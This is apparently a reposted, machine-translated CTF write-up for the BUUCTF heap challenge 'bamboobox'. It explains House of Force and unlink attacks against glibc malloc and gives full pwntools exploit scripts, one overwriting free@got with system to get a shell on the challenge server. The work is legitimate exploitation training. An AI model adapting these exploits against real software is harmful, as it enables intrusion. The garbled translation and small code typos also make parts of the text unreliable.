[BUUCTF] PWN——hitcontraining_bamboobox(力の家+リンク解除)

hitcontraining_bamboobox

別館

ステップ

  1. 定期検査、64ビットプログラム、カナリア、nxが有効になっている
    ここに画像の説明を挿入します

  2. ローカルテストを実行して、おおよその実行、従来のスタッキングメニューを確認します。最初の行のプロンプトによると、バックドアがあると推定されます。
    ここに画像の説明を挿入します

  3. 64ビットのidaがロードされ、バックドアがあると推測して、検索文字列が実際にバックドアを見つけましたが、buuの習慣によれば、通常、フラグはルートディレクトリにあり、このバックドアはあまり使用しないでください。最初にmagic_addrを覚えておいてください。 = 0x400d49
    ここに画像の説明を挿入します

  4. main()関数、入力5の場合はv4 [1]を実行し、v4 [1]はgoodbye_messageのアドレスです。バックドアのフラグパスが正しければ、houseの方法でgoodbye_messageのアドレスをmajicに変更できます。力のアドレス、あなたは旗を得ることができます
    ここに画像の説明を挿入します

  5. 各関数の関数を分析します
    add()
    ここに画像の説明を挿入します
    edit()
    ここに画像の説明を挿入します
    show()
    ここに画像の説明を挿入します
    free()
    ここに画像の説明を挿入します
    free関数には使用ポイントがありません。

ハウスオブフォース

アイデアを使う

  1. 力の家を通して、goodbye_messagedが記録されているchunk0に一番上のチャンクのアドレスを移動します
  2. チャンクを再度申請すると、chunk0を割り当てることができます
  3. goodbye_messageをマジックアドレスに変更します
  4. 5を入力してv4 [1]を呼び出し、フラグを取得します

利用プロセス

最上位チャンクの移行を実現するには、
最初にチャンクを作成し、デバッグして最上位チャンクの場所を見つけます

add(0x30,'aaaa')
gdb.attach(p)

ここに画像の説明を挿入します
ハウスオブフォーステクニックを使用すると、トップチャンクからチャンク0へのオフセットが-0x60であることがわかります(特定の方法についてはctfwikiを参照してください)。この質問については、ctfwikiと併せて簡単に説明します。

House Of Forceの理由は、glibcが最上位チャンクを処理するためです。ヒープ割り当て中に、すべての空きブロックが需要を満たすことができない場合、対応するサイズがヒープブロックのスペースとして最上位チャンクから分割されます。

まず、glibcで、ユーザーリクエストのサイズと最上位チャンクの既存のサイズが確認されます

// 获取当前的top chunk,并计算其对应的大小
victim = av->top;
size   = chunksize(victim);
// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) 
{
    remainder_size = size - nb;
    remainder      = chunk_at_offset(victim, nb);
    av->top        = remainder;
    set_head(victim, nb | PREV_INUSE |
            (av != &main_arena ? NON_MAIN_ARENA : 0));
    set_head(remainder, remainder_size | PREV_INUSE);

    check_malloced_chunk(av, victim, nb);
    void *p = chunk2mem(victim);
    alloc_perturb(p, bytes);
    return p;
}

ただし、サイズが大きな値に改ざんされる可能性がある場合は、この検証に簡単に合格できるため、最上位のチャンクサイズフィールドを制御できる抜け穴が必要です。編集機能にオーバーフローの脆弱性があることを以前に分析しました。これは、最上位のチャンクのサイズを変更するために使用できます。

一般的なアプローチは、比較中にサイズがunsigned number 0xffffffffffffffffに変換されるため、最上位チャンクのサイズを-1に変更することです。したがって、-1はunsigned longの最大数であり、とにかく検証できます。

この質問の操作方法を見てみましょう。チャンクのメモリ分散を見てみましょう
ここに画像の説明を挿入します
。editのオーバーフローの脆弱性を使用してchunk0を編集し、最上位のチャンクのサイズを変更します。

payload = 0x30 * 'a'
payload += 'a' * 8 + p64(0xffffffffffffffff)
 
edit(0,0x41,payload)

効果は以下の通りです
ここに画像の説明を挿入します

remainder      = chunk_at_offset(victim, nb);
av->top        = remainder;

/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr)(((char *) (p)) + (s)))

その後、ここでトップポインタが更新され、次のヒープブロックがこの場所に割り当てられます。ユーザーがこのポインタを制御している限り、任意のアドレスに任意の値を書き込むことと同じです(write-anything-anywhere)。この質問で行う必要があるのは、チャンク0の位置へのトップポインターを更新して、malloc時にchunk0の値を書き換えることができるようにすることです。

同時に、トップチャンクのサイズも更新されることに注意する必要があります。更新方法は次のとおりです。

victim = av->top;
size   = chunksize(victim);
remainder_size = size - nb;
set_head(remainder, remainder_size | PREV_INUSE);

したがって、次回、指定した場所にサイズxのチャンクを割り当てる場合は、remainder_sizeがx + MINSIZE以上であることを確認する必要があります。

この質問では、一番上のチャンクのポインターをchunk0に更新し、オフセットを計算します0xfc7000-0xfc7060=-0x60

また、ユーザーが要求したメモリサイズは、メモリを要求する関数に入ると符号なし整数になります。

void *__libc_malloc(size_t bytes) {

checked_request2sizeこのサイズの内部サイズを介してユーザー入力を取得したい場合は、すなわち

/*
   Check if a request is so large that it would wrap around zero when
   padded and aligned. To simplify some other code, the bound is made
   low enough so that adding MINSIZE will also not wrap around zero.
 */

#define REQUEST_OUT_OF_RANGE(req)                                              \
    ((unsigned long) (req) >= (unsigned long) (INTERNAL_SIZE_T)(-2 * MINSIZE))
/* pad request bytes into a usable size -- internal version */
//MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1
#define request2size(req)                                                      \
    (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE)                           \
         ? MINSIZE                                                             \
         : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

/*  Same, except also perform argument check */

#define checked_request2size(req, sz)                                          \
    if (REQUEST_OUT_OF_RANGE(req)) {                                           \
        __set_errno(ENOMEM);                                                   \
        return 0;                                                              \
    }                                                                          \
    (sz) = request2size(req);

一方では、REQUEST_OUT_OF_RANGE(req)テストをバイパスする必要があります。つまり、mallocに渡す値は負の数の範囲内であり、-2 * MINSIZEを超えてはなりません。これは一般的に満足のいくものです。

一方、対応する制約を満たした後、request2sizeを対応するサイズに正確に変換する必要があります。つまり、((req)+ SIZE_SZ + MALLOC_ALIGN_MASK)&〜MALLOC_ALIGN_MASKを正確に-60にする必要があります。
まず、明らかに-60はチャンク整列されているため、適用する必要のある対応する値を取得するには、SIZE_SZとMALLOC_ALIGN_MASKを減算するだけで済みます。

私のように、ヒープを実行するときにこれまでに遭遇したことのない多くの排他的な名詞に遭遇できる人がどれだけいるかはわかりません。Baiduが取得したsize_szeとMALLOC_ALIGN_MASKの説明は次のとおりです。
まず、GNUWebサイトのglibcをお読みください。。ソースコードをダウンロードし、そのmalloc.cファイルを表示します。
ここに画像の説明を挿入します
ほとんどの場合、コンパイラとCライブラリは、アライメントの問題に透過的に対処するのに役立ちます。POSIXは、malloc()、calloc()、およびrealloc()によって返されるアドレスが任意のCタイプに対応していることを示します。
アラインメントパラメータ(MALLOC_ALIGNMENT)のサイズは、次の2つの特性を満たす必要があります。1。2の累乗である必要があります。2。(void *)の整数倍である必要があります。
なぜ(void * )、これは現在私のものですまだはっきりしていません、あなたが見つけるのを待ってください...
この原則によれば、32ビットと64ビットのアライメントユニットはそれぞれ8バイトと16バイトです。

したがって、この質問ではrequest2size(req)マクロをバイパスする必要があります。ここでは、-0x60は16バイトで整列されているため、SIZE_SZ(0x8)とMALLOC_ALIGN_MASK(0xf)を減算する必要があり
ます。変更されたポインターのオフセットは次のとおりです。0xfc7000-0xfc7060-0x8-0xf

オフセットを取得した後、オフセットmalloc(チャンク)に従って最上位チャンクのアドレスをchunk0に移行できます。次に、mallocが元のchunk0のアドレスを取得できるため、chunk0を書き換えることができます。

offset = -(0x60+0x8+0xf)
add(offset,'aaaa')
add(0x10,p64(magic) * 2)

チャンク0の値をマジックのアドレスに正常に変更しました。残りは5を入力してチャンク0を呼び出すことです。
ここに画像の説明を挿入します

完全な経験

from pwn import *

#p=remote("node3.buuoj.cn",27403)
p=process("./bamboobox")
elf=ELF('./bamboobox')
context.log_level="debug"

def add(length,name):
	p.recvuntil(":")
	p.sendline('2')
	p.recvuntil(':')
	p.sendline(str(length))
	p.recvuntil(":")
	p.sendline(name)
 
def edit(idx,length,name):
	p.recvuntil(':')
	p.sendline('3')
	p.recvuntil(":")
	p.sendline(str(idx))
	p.recvuntil(":")
	p.sendline(str(length))
	p.recvuntil(':')
	p.sendline(name)
 
def free(idx):
	p.revcuntil(":")
	p.sendline("4")
	p.recvuntil(":")
	p.sendline(str(idx))
 
def show():
	p.recvuntil(":")
	p.sendline("1")
 
magic = 0x400d49
 
add(0x30,'aaaa')
#gdb.attach(p)

payload = 0x30 * 'a'
payload += 'a' * 8 + p64(0xffffffffffffffff)
 
edit(0,0x41,payload)
#gdb.attach(p)

offset = -(0x60+0x8+0xf)
add(offset,'aaaa')
add(0x10,p64(magic) * 2)
 
#gdb.attach(p)
 
p.interactive()

ここに画像の説明を挿入します
buuによって与えられたバックドアが間違っていることを私は知っています、このメソッドはローカルで開くことができます、バックドアによって与えられたフラグのパスが正しければ、それは機能します。

他のBaiduマスターのwpは、リンク解除はリモートを通過できると述べました。
参照wp:https//www.cnblogs.com/luoleqi/p/12373298.html

リンク解除

アイデアを使う

  1. フリーチャンクを偽造します。
  2. unlinkを介して、チャンクポインタが格納されているメモリにチャンクを移動します。
  3. チャンク0ポインタをfree @ gotテーブルのアドレスに上書きし、リークします。
  4. free @gotテーブルをシステム関数アドレスで上書きします。
  5. 要求されたチャンクの内容は「/ bin / sh」です。free関数を呼び出して、シェルを取得します。

利用プロセス

まず、ランダムにいくつかのチャンクを適用してレイアウトを確認します。
通常、要求されるチャンクは(0x20〜0x80)です。mallocの割り当てメカニズムには配置が含まれるため、毎回割り当てられたチャンクのサイズを確認するために移動します。

add(0x40,'a'*8 )
add(0x80,'b' * 8)
add(0x80,'c' * 8)
add(0x20,'/bin/sh\x00')  #这个是用来后面free的,一开始调试的时候没有写,下面调试堆布局的时候没有这个chunk,影响不大

ここに画像の説明を挿入します

チャンク0に偽のチャンクを作成し、ポインターをそれぞれptr-0x18とptr-0x10に設定すると同時に、チャンク1のprev_sizeに偽のチャンクのサイズを指定し、サイズの位置を0に使用して、空きになるようにするチャンク1の場合、プログラムは偽のチャンクが空きであると誤って判断し、リンク解除操作をトリガーして、ptrポインターをptr-0x18に設定します。

ptr=0x6020c8
fd=ptr-0x18
bk=ptr-0x10

fake_chunk=p64(0)
fake_chunk+=p64(0x41)
fake_chunk+=p64(fd)
fake_chunk+=p64(bk)
fake_chunk+='\x00'*0x20
fake_chunk+=p64(0x40)
fake_chunk+=p64(0x90)

edit(0,len(fake_chunk),fake_chunk)

前の図と組み合わせて変更されたヒープレイアウトを見ると、chunk0で偽のチャンクを偽造したことがわかり
ここに画像の説明を挿入します
、次のヒープチャンクchunk1を解放します。Fake_chunkとchunk1がマージされ、fakechunkのリンクが解除され、G_ptrの値が変更されます。その後、編集したchunk0のアドレスは、parseheapコマンドで表示されるアドレスではなくなりました。chunk0のアドレスはptr = 0x6020c8-0x18になります。

free(1)
free_got=elf.got['free']
log.info("free_got:%x",free_got)
payload1=p64(0)+p64(0)+p64(0x30)+p64(free_got)
edit(1,len(payload),payload1)

ヒープレイアウトを確認します。現時点では、chunk0のコンテンツはfree @ gotです。
ここに画像の説明を挿入します
最初にshowを使用して、free @ gotアドレスを出力し、libcをリークして、システムのアドレスを計算します。free @ gotをsystemに変更します。最初に1つ適用します。チャンク、その内容は「/ bin / sh」です。それを解放してシェルを取得します。

show()
free_addr=u64(r.recvuntil("\x7f")[-6: ].ljust(8, '\x00')) 
log.info("free_addr:%x",free_addr)
libc=LibcSearcher('free',free_addr)
libc_base=free_addr-libc.dump('free')
log.info("libc_addr:%x",libc_base)
system_addr=libc_base+libc.dump('system')
log.info("system_addr:%x",system_addr)
edit(0,0x8,p64(system_addr))

add(0x20,'/bin/sh\x00')
free(3)

完全な経験

from pwn import *
from LibcSearcher import *
#r=process('bamboobox')
r=remote('node3.buuoj.cn',29464)
elf=ELF('bamboobox')
context.log_level="debug"


def add(length,context):
    r.recvuntil("Your choice:")
    r.sendline("2")
    r.recvuntil("Please enter the length of item name:")
    r.sendline(str(length))
    r.recvuntil("Please enter the name of item:")
    r.send(context)

def edit(idx,length,context):
    r.recvuntil("Your choice:")
    r.sendline("3")
    r.recvuntil("Please enter the index of item:")
    r.sendline(str(idx))
    r.recvuntil("Please enter the length of item name:")
    r.sendline(str(length))
    r.recvuntil("Please enter the new name of the item:")
    r.send(context)

def free(idx):
    r.recvuntil("Your choice:")
    r.sendline("4")
    r.recvuntil("Please enter the index of item:")
    r.sendline(str(idx))

def show():
    r.sendlineafter("Your choice:", "1")

add(0x40,'a' * 8)
add(0x80,'b' * 8)
add(0x80,'c' * 8)
add(0x20,'/bin/sh\x00')
#gdb.attach(r)

ptr=0x6020c8
fd=ptr-0x18
bk=ptr-0x10

fake_chunk=p64(0)
fake_chunk+=p64(0x41)
fake_chunk+=p64(fd)
fake_chunk+=p64(bk)
fake_chunk+='\x00'*0x20
fake_chunk+=p64(0x40)
fake_chunk+=p64(0x90)

edit(0,len(fake_chunk),fake_chunk)
#gdb.attach(r)

free(1)
free_got=elf.got['free']
log.info("free_got:%x",free_got)
payload=p64(0)+p64(0)+p64(0x40)+p64(free_got)
edit(0,len(fake_chunk),payload)
#gdb.attach(r)

show()
free_addr=u64(r.recvuntil("\x7f")[-6: ].ljust(8, '\x00')) 
log.info("free_addr:%x",free_addr)
libc=LibcSearcher('free',free_addr)
libc_base=free_addr-libc.dump('free')
log.info("libc_addr:%x",libc_base)
system_addr=libc_base+libc.dump('system')
log.info("system_addr:%x",system_addr)
edit(0,0x8,p64(system_addr))

#gdb.attach(r)


free(3)
r.interactive()

ここに画像の説明を挿入します

おすすめ

転載: blog.csdn.net/mcmuyanga/article/details/114291792